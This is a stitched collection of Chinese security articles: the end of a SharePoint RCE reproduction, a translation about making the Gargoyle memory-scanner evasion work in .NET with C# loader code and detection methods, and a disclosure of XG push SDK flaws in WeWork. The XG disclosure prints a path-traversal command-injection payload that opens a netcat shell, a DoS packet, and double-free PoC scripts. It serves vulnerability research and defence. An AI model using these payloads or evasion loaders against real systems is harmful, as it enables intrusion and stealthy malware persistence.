我用 SMP 打开了这个 feature
之后再尝试那个 path 仍然 404，但是尝试原请求不再报 GUID 找不到的错误了
也不再进入 catch 分支
在 list 中能看到 `FieldId.AssociatedContentType` 项
calc 进程启动
我确定 publishingresources 这个 feature 在 SP2016 默认安装条件下不会开启，看漏洞作者和
[@mr_me](https://twitter.com/steventseeley) 用的也是 SP2016
测试但没提到这个，查了下官方漏洞公告也没提到。所以我不确定这个是否是漏洞利用的条件之一，但是我确实是在开启了这个功能后复现成功，感兴趣的朋友可以研究一下。
## 参考
<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>
<https://srcincite.io/pocs/cve-2020-16951.py.txt>
<https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1444>
<https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.webcontrols.objectdatasource?view=netframework-4.8>
<https://docs.microsoft.com/zh-cn/previous-versions/office/developer/sharepoint-2010/ms474369(v=office.14)>
* * * | 社区文章 |
# 如何利用.NET实现Gargoyle
##### 译文声明
本文是翻译文章，文章原作者 countercept，文章来源：countercept.com
原文地址：<https://www.countercept.com/blog/gargoyle-memory-scanning-evasion-for-net/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Gargoyle是一种内存扫描规避技术，由[Josh
Lospinoso](https://github.com/JLospinoso/gargoyle)在2017年以PoC形式公开。这种技术的主要思路是保证注入的代码大多数时间处于不可执行状态，使内存扫描技术难以识别注入代码。这是一种非常优秀的技术，之前MWR研究人员已经讨论过Gargoyle与
Cobalt Strike集成方面的[内容](https://labs.mwrinfosecurity.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle?_ga=2.265468687.1893078575.1544169562-1446314707.1544169562)。我们也介绍了如何使用WinDBG和我们提供的[Vola插件](https://www.countercept.com/blog/hunting-for-gargoyle/)来检测这种技术。
现在的攻击趋势已经逐步从PowerShell转移到.NET技术，在这种大背景下，我们也花了些时间研究如何[检测](https://www.countercept.com/blog/detecting-malicious-use-of-net-part-1/).NET技术的恶意使用及动态使用场景，此时我突然想到，也许我们可以将.NET技术应用于Gargoyle。我在[Bluehatv18](https://www.youtube.com/watch?v=02fL2xpR7IM)上介绍过内存后门驻留技术，其中简要提到了这方面内容。在本文中，我们会详细介绍相关内容，也会给出一些检测策略及[PoC代码](https://github.com/countercept/dotnet-gargoyle)。
## 二、动态执行.NET代码
现在许多攻击技术都会尽量避免“落盘”操作，这种传统技术主要是为了规避典型的反病毒扫描机制，避免在磁盘上留下证据，这也促进了内存取证技术的发展。对于native
code（原生代码），攻击者通常使用DLL反射注入、Process
Hollowing、以及其他类似技术达到“非落盘”目标。然而.NET提供了非常简单的机制，可以通过assembly（程序集）动态加载和反射（reflection）完成相同的任务。
比如，在PowerShell中我们可以将.NET assembly动态加载到内存中，然后使用反射技术来实例化某个类并调用类中的方法：
对本文来说了解这一点背景知识已经足够，我们也在检测.NET恶意技术的Part 1文章中介绍了更多详细信息。此外，来自Endgame的Joe
Desimone也在一篇精彩的[文章](https://www.endgame.com/blog/technical-blog/hunting-memory-net-attacks)中提到了这方面内容，文中展示了如何使用他开发的[Get-ClrReflection.ps1](https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58)这个PowerShell脚本来检测内存中已加载的.NET
assembly。
## 三、.NET计时器及回调
原始的Gargoyle技术用到了Windows原生的计时器（timer）对象，以便定期执行回调函数。当计时器到期时，内核会将APC（Asynchronous
Procedure Call，异步过程调用）投递至目标进程，执行回调函数。.NET中在计时器方面有自己的实现，具备类似功能。
从`Timer()`类的构造函数中可知，我们可以指定.NET回调方法，也能指定计时器超时时所使用的参数。这里有个限制条件，回调函数必须遵循`TimerCallback`委托（delegate），如下图所示：
由于存在委托规范，我们只能调用满足这种条件的方法。在实际环境中，我们可能希望能够将回调函数指定为`Assembly.Load()`，并且使用assembly的字节数组作为`state`参数，确保能够执行我们的恶意代码。遗憾的是这并不符合委托规范，并且加载assembly时自动运行代码也不像将代码放到原生DLL的`DllMain()`函数中那么简单。因此，我们需要构造一个简单的封装接口，以便在内存中加载和执行我们的恶意assembly。
## 四、Loader实现
既然找到了.NET计时器，在定义回调方面我们需要考虑几个要点：
1、我们需要实现一些自定义加载代码，这些代码需要被永久加载。因此，我们需要让代码量尽可能小，且看上去无害，实现隐蔽加载；
2、我们无法单独卸载assembly（参考[此处](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/assemblies-gac/how-to-load-and-unload-assemblies)说明），因此为了自删除恶意assembly后门，我们需要将其载入新的`AppDomain`中，然后再执行卸载操作；
3、我们需要找到一些方法先加载我们的.NET loader assembly，然后调用方法创建.NET计时器，以便后面加载我们的恶意assembly后门。
在下文中，我们使用`AssemblyLoader`作为代码量尽可能小的一个loader（加载器）assembly，使用`DemoAssembly`作为PoC
assembly，代表实际环境中可能用到的一个全功能版恶意后门。
能够实现要点1和要点2的C#代码如下所示：
public class AssemblyLoaderProxy : MarshalByRefObject, IAssemblyLoader
{
public void Load(byte[] bytes)
{
var assembly = AppDomain.CurrentDomain.Load(bytes);
var type = assembly.GetType("DemoAssembly.DemoClass");
var method = type.GetMethod("HelloWorld");
var instance = Activator.CreateInstance(type, null);
Console.WriteLine("--- Executed from {0}: {1}", AppDomain.CurrentDomain.FriendlyName, method.Invoke(instance, null));
}
}
public static int StartTimer(string gargoyleDllContentsInBase64)
{
Console.WriteLine("Start timer function called");
byte[] dllByteArray = Convert.FromBase64String(gargoyleDllContentsInBase64);
Timer t = new Timer(new TimerCallback(TimerProcAssemblyLoad), dllByteArray, 0, 0);
return 0;
}
private static void TimerProcAssemblyLoad(object state)
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(CurrentDomain_AssemblyResolve);
Console.WriteLine("Hello from timer!");
String appDomainName = "TemporaryApplicationDomain";
AppDomain applicationDomain = System.AppDomain.CreateDomain(appDomainName);
var assmblyLoaderType = typeof(AssemblyLoaderProxy);
var assemblyLoader = (IAssemblyLoader)applicationDomain.CreateInstanceFromAndUnwrap(assmblyLoaderType.Assembly.Location, assmblyLoaderType.FullName);
assemblyLoader.Load((byte[])state);
Console.WriteLine("Dynamic assembly has been loaded in new AppDomain " + appDomainName);
AppDomain.Unload(applicationDomain);
Console.WriteLine("New AppDomain has been unloaded");
Timer t = new Timer(new TimerCallback(TimerProcAssemblyLoad), state, 1000, 0);
}
以上代码量较少，包含一些调试信息，看上去恶意程度不是特别高，可能会通过安全检查。如果这段代码只是代码量庞大且无害的assembly中的一部分，那么更容易能够通过安全检查。
为了定义回调函数、加载我们的恶意assembly（即`DemoAssembly`），我们可以执行如下操作：
1、在新的`AppDomain`中通过`byte[]`数组加载`DemoAssembly`；
2、实例化`DemoClass`对象；
3、执行`Helloworld()`方法；
4、卸载`AppDomain`，清理内存中的`DemoAssembly`；
5、重新调度计时器，一直重复上述过程。
## 五、执行Assembly Loader
为了满足第三点要求，我们可以利用原生代码中的COM技术来加载我们的Loader
assembly，然后调用`StartTimer()`方法，设置.NET计时器，然后通过计时器周期性加载我们的“恶意”`DemoAssembly`。关键代码片段如下所示：
// execute managed assembly
DWORD pReturnValue;
hr = pClrRuntimeHost->ExecuteInDefaultAppDomain(
L"AssemblyLoader.dll",
L"AssemblyLoader",
L"StartTimer",
lpcwstr_base64_contents,
&pReturnValue);
这样我们就有各种办法能够触发loader。我们可以运行原生应用，然后执行这段代码，或者我们可以将其以原生DLL的方式注入合法的应用中，然后立即卸载DLL。最终结果就是我们实现了一个.NET
loader assembly，加载后看上去非常无害，但可以通过.NET计时器，在未来定期将完整功能版的.NET后门载入内存中。
结合以上方法，最终我们的结果如下所示：
如果我们使用类似`ProcessHacker`之类的工具检查已加载的.NET assembly，我们只能看到loader
assembly，没有看到临时的`AppDomain`或者“恶意的”`DemoAssembly`：
此外，如果我们使用`Get-ClrReflection.ps1`之类的工具，并不会看到任何结果，这是因为我们“无害的” assembly
loader加载自本地磁盘，并且在运行检测工具时，我们的“恶意” `DemoAssembly`很有可能不会刚好被加载到内存中。
## 六、检测策略
与原始的`Gargoyle`技术一样，这种策略采用了规避内存扫描时间点和常见内存取证技术的思路。这意味着我们可以采用实时跟踪方案来检测隐藏在眼皮底下的.NET活动。在关于这方面内容的先前文章中，我们讨论了如何跟踪.NET
assembly的加载行为，如何跟踪assembly相关活动。比如，如果我们使用之前文章中用来跟踪高危模块加载行为的PoC
ETW跟踪工具，我们就可以清晰地看到我们的“恶意”`DemoAssembly`的周期性加载行为：
然而，这里还有一个问题，我们是否还有其他备选的、基于加载时间点的内存扫描方法，可以用来检测这种技术？有趣的是这种.NET行为的确会留下一些蛛丝马迹，我们可以使用WinDBG的SOS调试扩展来观察这些痕迹。`!DumpDomain`命令的部分输出信息如下所示，从中我们可以看到关于名为`TemporaryApplicationDomain`的许多`AppDomain`，指向正在动态加载的模块：
然而，下一个问题是我们是否有可能在系统范围内分析.NET计时器，识别出潜在的可疑回调函数，这样能更直接地检测到这类技术的使用行为。微软的确为.NET提供了一个内存诊断库：[ClrMD](https://github.com/Microsoft/clrmd)，我曾经用过这个库，也是我曾经的首选库。
Criteo Labs曾发表过一篇[文章](http://labs.criteo.com/2017/05/clrmd-part-4-callbacks-called-timers/)，介绍了如何使用`ClrMD`来完成这个任务，也公布了相关代码。稍微研究并添加了部分代码以适配我们的使用场景后，我们也能构造出一个检测工具，能够检测基于计时器回调的技术，识别潜在的可疑对象。
如果我们在运行Visual Studio的某个系统上运行这款工具，可以看到Visual Studio相关进程中存在大量计时器回调操作：
然而，这些调用非常相似，并且都位于`System`或者`Microsoft`命名空间中。虽然在这些命名空间中的确有可能找到恶意使用场景，但基于之前我们提到的限制因素，我们会倾向于使用自定义代码来完成攻击任务。因此我们可以在其他命名空间中寻找回调行为，此时我们的输出结果只留下一个条目，也就是我们的恶意回调：
当然，攻击者可能会注意到这一点，尽可能伪装成合法回调函数。然而如果大规模应用检测技术，在整个网络环境中进行检测，在`System`以及`Microsoft`命名空间外寻找异常实例，那么还是能够找到蛛丝马迹。
## 七、总结
在本文中我们研究了与Gargoyle内存扫描规避技术等效的一种.NET实现方案，通过规避扫描时间点将.NET后门隐藏在内存中，也讨论了相应的检测策略。我们已经把所有相关代码上传至[Github](https://github.com/countercept/dotnet-gargoyle)上。 | 社区文章 |
来源：http://www.ms509.com/?p=474
作者：小荷才露尖尖角@MS509Team
## 0x00 简介
XG SDK是一个流行的Android app推送SDK，有不少流行Android
app均在使用，本文分析的版本主要针对100001_work_weixin_1.0.0.apk所使用的版本。
漏洞最初在2016年4月份的时候提交给了某云网站，厂商已经确认，但由于网站持续“升级”的缘故，不太可能公开细节了。后续漏洞也已经提交给了TSRC，时至现在，相关漏洞均已经完全修复，漏洞已经不影响使用该SDK的app了，因此本文决定对相关技术细节予以分享，并补充有关该漏洞后续的一些研究。
## 0x01 漏洞分析
XG SDK会周期性地启动一个libtpnsWatchdog.so的可执行文件，作为看门狗保活应用，并随机在55000~56000端口监听任意地址。
public static int getRandomPort() {
return XGWatchdog.getRandomInt(1000) + 55000;
}
在我们实验手机上的监听端口为55362，启动进程为com.tencent.wework lib目录下的libtpnsWatchdog.so
经过逆向分析，可发现这个开放端口支持一系列的文本命令，包括：
* “ver:”，获取版本号
* “debug:1”，打开调试
* “xgapplist:”,获取或设置使用XG sdk的app
* “tme:xxxx”，设置周期性启动服务的等待时间
* ”exit2:”，退出
例如，发送debug:1，可获得当前手机上使用XG的app列表及当前启动服务的等待时间等信息，可见，手机上有四个app使用了该推送sdk。
echo -n “debug:1” |nc 192.168.8.187 55362
当发送xgapplist:xxx，则可以设置当前使用XG的app。其中xxx的形式为 ,;,…
接下来会通过fopen打开/data/data//lib目录来判断指定packagename的目录是否存在，如果存在，则会在后续使用该packagename，否则提示找不到该package。
然后，程序会调用system通过am命令启动对应包内的XG组件，这里就使用了上面检查过的packagename.
[
注意，上述两个system函数中的参数没有进行任何过滤。那么，我们结合上述两张图来看，如果恶意app满足
1. **能够设置一个存在且被XG Sdk可以访问的目录，**
2. **目录名中嵌入执行的代码**
那么就可以实现命令注入。对于条件1，可以通过../../../../路径穿越的形式跳转到恶意app可控的目录；而对于条件2，则可以利用shell特性，在可控目录下建立猥琐的“
|| #”目录实现。
## 0x02 漏洞利用
（1）模拟恶意app在/sdcard目录建立一个特殊（猥琐）的目录名，除了“/“字符外，其他字符均可用。
[
于是我们有了了” && nc -ll -p 6666 -e sh #”的目录，并在目录下存在子目录lib
（2）通过xgapplist命令设置推送app
如图，发送命令，
echo -n "xgapplist:com.tencent.wework/../../../../../../sdcard/ && nc -ll -p 6666 -e sh #,2100078991;" | nc -vv 192.168.8.187 55362
观察logcat可以发现设置成功
（3）通过tme命令，使am命令周期性进行，进而触发后面的system函数，执行我们的反弹shell命令
echo -n “tme:12345” | nc -v 192.168.8.187 55362
稍等片刻，观察logcat的打印信息后，可以尝试连接shell，成功连接
u0_a113用户正好就是com.tencent.wework
下面就可以以com.tencent.wework的权限做任何事情了，比如访问私有目录、打开保护的activity、发广播等等。
## 0x03 漏洞是否能够远程
因为当时漏洞取名带有“远程”二字不够严谨，引发了厂商的争议。的确，从这个漏洞的成因来看，主要还是本地恶意app通过污染目录名，结合XG开放的端口，完成本地提权。但经瘦蛟舞的指点，可以考虑向受害者发送包含污染目录名的zip包（或者通过浏览器下载解压至/sdcard），然后结合XG监听端口的地址为任意地址，远程传入命令，进而实现远程命令执行，这种远程攻击相对难度较大，因为开放的端口为随机端口，攻击者也需要社工欺骗受害者接收zip包.
## 0x04 空指针解引用远程拒绝服务
当向XG监听端口发送xgapplist命令时，libtpnsWatchdog.so对后面的packagename和accid进行处理，但并没有检查“，”或“；“分割的字符串为空的情况，导致后面atoll函数去访问0地址的内存，造成空指针解引用crash。见如下代码：
v1 = a1;
if ( a1 )
{
j_j_memset(xgapplist, 0, 0x200u);
first_app = j_j_strtok(v1, ";");
v3 = 0;
v2 = first_app;
while ( 1 )
{
len_of_applist = v3;
if ( !v2 )
break;
v5 = j_j_strlen(v2);
v6 = v5 + 1;
v7 = (void *)j_operator new[](v5 + 1);
xgapplist[len_of_applist] = v7;
j_j_memcpy(v7, v2, v6);
v2 = j_j_strtok(0, ";");
v3 = len_of_applist + 1;
}
for ( i = 0; i < len_of_applist; ++i )
{
v8 = (char *)xgapplist[i];
if ( v8 )
{
package = j_j_strtok(v8, ",");
accid = j_j_strtok(0, ",");
v11 = accid;
v12 = j_j_atoll(accid); //null pointer dereference crash !!!!
v27 = v12;
向55362端口发送一个最简单的数据包，
echo -n "xgapplist:A" | nc -v 192.168.8.169 55362
使用logcat可观察到Oops：
I/DEBUG ( 243): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 243): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG ( 243): Revision: '11'
I/DEBUG ( 243): pid: 11774, tid: 11774, name: xg_watchdog >>> /data/data/com.tencent.wework/lib/libtpnsWatchdog.so <<<
I/DEBUG ( 243): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000000
I/DEBUG ( 243): r0 4008a2d8 r1 40083d28 r2 ffffff78 r3 00000000
I/DEBUG ( 243): r4 400165c6 r5 00000002 r6 0000000a r7 00000000
I/DEBUG ( 243): r8 400120d9 r9 00000000 sl 00000000 fp bed838ec
I/DEBUG ( 243): ip 40018f68 sp bed7f6e8 lr 400125e5 pc 4006aab0 cpsr 000f0030
I/DEBUG ( 243): d0 0000000000000000 d1 0000000000000000
I/DEBUG ( 243): d2 0000000000000000 d3 0000000000000000
I/DEBUG ( 243): d4 0000000000000000 d5 0000000000000000
I/DEBUG ( 243): d6 0000000000000000 d7 0000000000000000
I/DEBUG ( 243): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 243): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 243): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 243): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 243): d16 41db6820b9bcac08 d17 3f50624dd2f1a9fc
I/DEBUG ( 243): d18 419908a090000000 d19 0000000000000000
I/DEBUG ( 243): d20 0000000000000000 d21 0000000000000000
I/DEBUG ( 243): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 243): d24 0000000000000000 d25 0000000000000000
I/DEBUG ( 243): d26 0000000000000000 d27 0000000000000000
I/DEBUG ( 243): d28 0000000000000000 d29 0000000000000000
I/DEBUG ( 243): d30 0000000000000000 d31 0000000000000000
I/DEBUG ( 243): scr 00000010
I/DEBUG ( 243):
I/DEBUG ( 243): backtrace:
I/DEBUG ( 243): #00 pc 0002aab0 /system/lib/libc.so (strtoimax+31)
I/DEBUG ( 243): #01 pc 000015e1 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 243): #02 pc 00002787 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 243): #03 pc 0000124f /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 243): #04 pc 0000e34b /system/lib/libc.so (__libc_init+50)
I/DEBUG ( 243): #05 pc 00001390 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 243):
## 0x05 double free内存破坏
仍然观察xgapplist命令，程序接收socket端口传入的命令xgapplist:`<packagename>`,`<accid>`;`<packgename2>`,`<accid2>`;…;`<packagenamen>`,`<accidn>`;
时，程序会对上述命令进行解析，分配xgappinfo对象，并依次将不重复的xgappinfo（使用XG
SDK的app的信息）对象存入全局数组xgappinfo_list
xgappinfo占用16字节，为如下结构体
struct xgappinfo {
long accid,
char* packgename,
int status
};
如图
再来看下下面这段程序逻辑，
void __fastcall sub_40056574(char *a1)
{
...
int i; // [sp+24h] [bp-2Ch]@4
unsigned __int64 v27; // [sp+28h] [bp-28h]@8
v1 = a1;
j_j_memset(dword_40060028, 0, 0x200u);
v2 = j_j_strtok(v1, ";");
v3 = 0;
v4 = v2;
while ( 1 )
{
v25 = v3;
if ( !v4 )
break;
v5 = j_j_strlen(v4);
v6 = v5 + 1;
v7 = (void *)j_operator new[](v5 + 1);
dword_40060028[v25] = v7;
j_j_memcpy(v7, v4, v6);
v4 = j_j_strtok(0, ";");
v3 = v25 + 1;
}
for ( i = 0; i < v25; ++i )
{
v8 = (char *)dword_40060028[i];
if ( sub_4005651C(dword_40060028[i]) )
{
v9 = j_j_strtok(v8, ",");
v10 = j_j_strtok(0, ",");
v11 = v10;
v12 = j_j_atoll(v10);
v27 = v12;
if ( v12 <= 0x3B9AC9FF && dword_4005D018 )
{
v23 = HIDWORD(v12);
j_j___android_log_print(6, "xguardian", "error accessid:%llu");
}
if ( v9 && v11 )
{
v13 = &dword_4005E028; // xgapp_info结构体存储的起始地址
for ( j = &dword_4005E028; ; j = v15 )
{
v14 = (const char *)v13[2];
v15 = v13;
if ( !v14 )
break;
if ( !j_j_strcmp(v9, v14) )
{
*v13 = v27;
v13[1] = HIDWORD(v27);
v16 = 1;
*((_BYTE *)v15 + 12) = 1;
v15 = j;
goto LABEL_22;
}
if ( *((_BYTE *)v13 + 12) )
v15 = j;
v13 += 4;
if ( v13 == dword_40060028 )
break; // 最多只能存储512个对象，每个对象占用16字节
}
v16 = 0;
LABEL_22:
if ( dword_4005D018 )
j_j___android_log_print(4, "xguardian", "found %d, pkgName:%s,accid:%s", v16, v9, v11);
if ( !v16 && sub_40055B98(v9) )
{
if ( dword_4005D018 )
j_j___android_log_print(4, "xguardian", "try to add to the unstall list");
v17 = j_j_strlen(v9) + 1;
v18 = (void *)v15[2];
if ( v18 )
{
j_j__ZdaPv:
operator delete[](v18);
/ *
* 这段存在问题，v18没有置为null。导致当循环到512个对象的时候，由于前面循环的限制，v18 还是指向第512个对象中在堆上分配的packagename的地址，此时v18会被delete。
当512以上的多个命令数据达到，需要有多个packagename需要添加时，由于并发处理，程序会在返回之前再次运行到此处，v18还是指向同一地址，由于v18已被delete，此时会再次delete一下，从而导致delete出错
*
*/
return;
}
v19 = (void *)j_operator new[](v17);
v15[2] = (int)v19;
j_j_memset(v19, 0, v17);
j_j_memcpy((void *)v15[2], v9, v17);
*(_BYTE *)(v15[2] + v17) = 0;
v20 = j_j_atoll(v11);
*((_BYTE *)v15 + 12) = 1;
*(_QWORD *)v15 = v20;
if ( dword_4005D018 )
j_j___android_log_print(4, "xguardian", "add new unInfo pkgName:%s,accid:%llu", v15[2], v20);
}
}
}
v18 = (void *)dword_40060028[i];
if ( v18 )
goto j_j__ZdaPv;
}
…
对通过socket端口传入的xgapplist命令的解析主要包括以下几个步骤：
* 解析分号的分隔，获得每个xg app的信息；
* 解析逗号的分隔，获得xg app packagename和accid；
* 从0x4005E028开始，依次存储解析xgappinfo得到的结果，分别为accid、packagename、status，从而构成xgappinfo_list；
* 当再次传入xgapplist命令时，会将传入的packagename与已存储的packagename比较。如果不同，说明是新的packagename，则会在堆上分配地址存储，并将这个堆上分配的地址添加到xgappinfo_list中。如果相同，不进行添加。
* 最多只能添加到0x40060028这个地址，到这个地址会跳出循环，也就是最多只能添加(0x40060028-0x4005E028)/16=512个xgappinfo结构体
注意下面这段代码
if ( v18 )
{
j_j__ZdaPv:
operator delete[](v18);
}
v18为下一个未分配区域的packagename，XG
SDK认为如果不为空，则表明已在堆上分配，因此需要delete。然而测试表明，当添加xgappinfo超过512，为518、519等多个时（注意：并非超过1个），可以触发堆内存破坏。
POC:
from pwn import *
import sys
def open_connection():
xg_daemon_server = "192.168.8.158"
xg_listen_port = 55362
conn = remote(xg_daemon_server, xg_listen_port)
return conn
def send_debug():
conn = open_connection()
packet_debug = "debug:1\n"
conn.send(packet_debug)
print "S:"+packet_debug
conn.close()
exit(0)
def send_heap_overflow(n):
conn = open_connection()
packet_bound_overflow = "xgapplist:../../../"
for i in range(n):
packet_bound_overflow +="/"
packet_bound_overflow +="sdcard/, 2100178385\n"
print "S: "+packet_bound_overflow
print "%d bytes" % len(packet_bound_overflow)
conn.send(packet_bound_overflow)
conn.close()
def send_normal_packet(packet):
conn = open_connection()
conn.send(packet)
print "S: "+packet
if (packet == "ver:\n"):
print "R: "+ conn.recv()
conn.close()
exit(0)
def main():
if (len(sys.argv) != 2):
print """
%s <packet_type>
1: send debug packet
3: send heap overflow packet
4: send normal ver: packet
5: send normal tme:12345 packet
6: send normal xgapplist: packet
""" % sys.argv[0]
exit(-1)
if(sys.argv[1] == "1"):
send_debug()
elif(sys.argv[1] == "3"):
for i in range(518): //notice！
send_heap_overflow(i)
print i
exit(0)
elif(sys.argv[1] == "4"):
send_normal_packet("ver:\n")
elif(sys.argv[1] == "5"):
send_normal_packet("tme:12345\n")
elif(sys.argv[1] == "6"):
send_normal_packet("xgapplist:\n")
else:
print "unkown packet type! "
if __name__ == "__main__":
main()
Logcat
I/TpnsWatchdog( 495): server get unstall appinfo:com.tencent.wework,2100178384;../../../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
I/TpnsWatchdog( 495): found 0, pkgName:com.tencent.wework,accid:2100178384
I/TpnsWatchdog( 495): try to add to the unstall list
F/libc ( 495): invalid address or address of corrupt block 0x4125f850 passed to dlfree
F/libc ( 495): Fatal signal 11 (SIGSEGV) at 0xdeadbaad (code=1), thread 495 (xg_watchdog)
I/DEBUG ( 241): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 241): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG ( 241): Revision: '11'
I/DEBUG ( 241): pid: 495, tid: 495, name: xg_watchdog >>> /data/data/com.tencent.wework/lib/libtpnsWatchdog.so <<<
I/DEBUG ( 241): AM write failure (32 / Broken pipe)
I/DEBUG ( 241): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr deadbaad
I/DEBUG ( 241): Abort message: 'invalid address or address of corrupt block 0x4125f850 passed to dlfree'
W/NativeCrashListener( 960): Couldn't find ProcessRecord for pid 495
I/DEBUG ( 241): r0 00000000 r1 40139c5e r2 deadbaad r3 4013d7a0
I/DEBUG ( 241): r4 4125f850 r5 40148180 r6 4121c000 r7 4125f858
I/DEBUG ( 241): r8 400cc0d9 r9 00000000 sl 00000000 fp bee458ec
I/DEBUG ( 241): ip 00000001 sp bee41710 lr 4010b6cb pc 4010b6cc cpsr 600f0030
I/DEBUG ( 241): d0 2064657373617064 d1 6120726f2073736c
I/DEBUG ( 241): d2 6f20737365726466 d3 707572726f632072
I/DEBUG ( 241): d4 2e2f2e2f2e2f2e2f d5 2e2f2e2f2e2f2e2f
I/DEBUG ( 241): d6 2e2f2e2f2e2f2e2f d7 2e2f2e2f2e2f2e2f
I/DEBUG ( 241): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 241): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 241): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 241): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 241): d16 41c3183f70f5e354 d17 3f50624dd2f1a9fc
I/DEBUG ( 241): d18 41c05bc240800000 d19 0000000000000000
I/DEBUG ( 241): d20 0000000000000000 d21 0000000000000000
I/DEBUG ( 241): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 241): d24 0000000000000000 d25 0000000000000000
I/DEBUG ( 241): d26 0000000000000000 d27 0000000000000000
I/DEBUG ( 241): d28 0000000000000000 d29 0000000000000000
I/DEBUG ( 241): d30 0000000000000000 d31 0000000000000000
I/DEBUG ( 241): scr 00000010
I/DEBUG ( 241):
I/DEBUG ( 241): backtrace:
I/DEBUG ( 241): #00 pc 000116cc /system/lib/libc.so (dlfree+1191)
I/DEBUG ( 241): #01 pc 0000dc0b /system/lib/libc.so (free+10)
I/DEBUG ( 241): #02 pc 000016b5 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 241): #03 pc 00002787 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 241): #04 pc 0000124f /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I/DEBUG ( 241): #05 pc 0000e34b /system/lib/libc.so (__libc_init+50)
I/DEBUG ( 241): #06 pc 00001390 /data/app-lib/com.tencent.wework-1/libtpnsWatchdog.so
I
为什么513、514不能触发呢？这个问题一直没有分析得很清楚，因此也没有选择提交，直至厂商对前面两个漏洞进行修复，再次复现这个漏洞的难度加大。
再次观察漏洞的触发位置，
if ( v18 )
{
j_j__ZdaPv:
operator delete[](v18);
}
可以发现v18
被delete后并没有置为null，那么有没有可能v18会被delete多次呢？作为socket服务daemon，程序使用了epoll系统调用，因此可以猜想这是并发处理的原因。
在没有并发的情况下依次传入要添加的xgappinfo，在超过512个xgappinfo时，循环直接跳出，不会尝试添加这个xgappinfo，不会触及到下面delete所在的分支，这也是很长时间我通过调试很难复现该漏洞的原因。但如果存在并发，特别是在即将超过512个xgappinfo时，又传入了多个要添加的xgappinfo，那么由于并发处理，程序会同时尝试添加多个xgappinfo且不会认为超过了512个xgappinfo，此时v18均指向同一地址（即第512个对象中在堆上分配的packagename的地址），那么在v18被delete一次的情况下，紧接着会再次delete一下，从而导致delete出错。
## 0x06 后续
腾讯很快对命令注入和空指针解引用引发的远程拒绝服务漏洞进行了修复，主要修复点包括：
* Socket端口监听任意地址改为监听本地地址。
* 对Socket端口传入的命令进行了加密。
* 对传入xgapplist中的packagename进行了过滤，特别是过滤了“/”字符，防止目录穿越。
这些防御措施导致我很难再复现最后一个堆内存破坏漏洞了，但通过深入分析，我们仍然可以通过
1. 编写手机上运行的本地代码
2. 添加手机上已存在的packagename，要超过512个
3. 破解加密算法
来予以一一破解。首先，在手机上安装512个packganame(Oh my god! )，这个可以通过脚本解决。
#!/bin/bash
# Generate 512 apks, Build and Install
CURDIR=$(pwd)
for i in $(seq 512)
do
cd $CURDIR
DIR="HelloWorld"$i
PACKAGE="com.ms509.helloworld"$i
UNSIGNED_APK=$DIR"-release-unsigned.apk"
SIGNED_APK=$i".apk"
android create project -n $DIR -t 13 -p $DIR -k $PACKAGE -a helloworld
cd $CURDIR"/"$DIR
ant release
cd $CURDIR"/"$DIR"/bin"
# sign apk
signapk.sh $UNSIGNED_APK $SIGNED_APK
adb install $SIGNED_APK
done
其次，破解加密算法可以直接调用程序使用的加解密库，而不必真的破解。最后的POC关键代码如下，注意，我们在快超过512时sleep了一下，使XG
SDK的处理能力跟上，然后后面再传入多个xgappinfo，这样有更大的几率触发并发。
directSendContent("debug:1");
directSendContent("ver:");
Log.d("testXG", "[+] Adding "+Integer.toString(m_appNameList.size()) + "fake xg apps");
int i = 0;
for (String xgapp:m_appNameList) {
if ((i++) > 530)
break;
String cmd = "xgapplist:" + xgapp + "," +
Integer.toString((int)(Math.random()*1000000)) + ";";
Log.d("testXG", "[+] " + Integer.toString(i) + " Sending command: " + cmd);
if (i == 510) {
try {
sleep(1000);
} catch (InterruptedException e){
}
}
directSendContent(cmd);
Logcat:
I/xguardian(19448): scanAppStatus node:508, pkg:heenstudy.com.sniffclipboard, accid:917429, status:1
I/xguardian(19448): scanAppStatus node:509, pkg:com.estrongs.android.taskmanager, accid:230582, status:1
